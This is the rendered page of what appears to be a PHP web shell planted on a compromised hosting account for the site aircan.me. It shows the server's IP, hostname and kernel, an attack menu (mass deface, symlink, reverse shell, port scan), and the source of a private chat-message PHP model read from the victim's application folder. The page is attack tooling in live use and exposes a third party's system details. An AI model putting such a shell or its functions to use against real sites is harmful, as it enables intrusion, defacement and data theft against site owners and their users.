Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
aircan3
/
app
/
models
/
Viewing: Mensaje.php
<?php /** * Modelo Mensaje - Gestión del chat optimizado */ class Mensaje extends Model { /** * Obtener conversación entre dos usuarios */ public function getConversacion(int $user1, int $user2): array { $sql = "SELECT * FROM mensajes WHERE (remitente_id = :u1 AND receptor_id = :u2) OR (remitente_id = :u3 AND receptor_id = :u4) ORDER BY fecha_envio ASC"; return $this->fetchAll($sql, [ 'u1' => $user1, 'u2' => $user2, 'u3' => $user2, 'u4' => $user1 ]); } /** * Enviar un mensaje */ public function enviar(int $remitente, int $receptor, string $texto): string { $sql = "INSERT INTO mensajes (remitente_id, receptor_id, mensaje) VALUES (:rem, :rec, :msg)"; $this->query($sql, [ 'rem' => $remitente, 'rec' => $receptor, 'msg' => $texto ]); return $this->lastInsertId(); } /** * Marcar mensajes como leídos */ public function marcarLeidos(int $receptor, int $remitente): void { $sql = "UPDATE mensajes SET leido = 1 WHERE receptor_id = :rec AND remitente_id = :rem AND leido = 0"; $this->query($sql, ['rec' => $receptor, 'rem' => $remitente]); } /** * Obtener el número total de mensajes no leídos para un usuario */ public function getUnreadCount(int $userId): int { $sql = "SELECT COUNT(*) as total FROM mensajes WHERE receptor_id = :uid AND leido = 0"; $res = $this->fetchOne($sql, ['uid' => $userId]); return (int)($res['total'] ?? 0); } /** * Obtener lista de usuarios con los que hay conversación (para admin) */ public function getContactosAdmin(int $adminId): array { $sql = "SELECT u.id, u.nombre, u.email, u.rol, c.foto, (SELECT COUNT(*) FROM mensajes WHERE receptor_id = :a1 AND remitente_id = u.id AND leido = 0) as no_leidos, (SELECT mensaje FROM mensajes WHERE (remitente_id = u.id AND receptor_id = :a2) OR (remitente_id = :a3 AND receptor_id = u.id) ORDER BY fecha_envio DESC LIMIT 1) as ultimo_mensaje, (SELECT fecha_envio FROM mensajes WHERE (remitente_id = u.id AND receptor_id = :a4) OR (remitente_id = :a5 AND receptor_id = u.id) ORDER BY fecha_envio DESC LIMIT 1) as ultima_fecha FROM usuarios u LEFT JOIN clientes c ON c.usuario_id = u.id WHERE u.rol = 'cliente' ORDER BY ultima_fecha DESC, u.nombre ASC"; return $this->fetchAll($sql, [ 'a1' => $adminId, 'a2' => $adminId, 'a3' => $adminId, 'a4' => $adminId, 'a5' => $adminId, ]); } }
Coded With 💗 by
0x6ick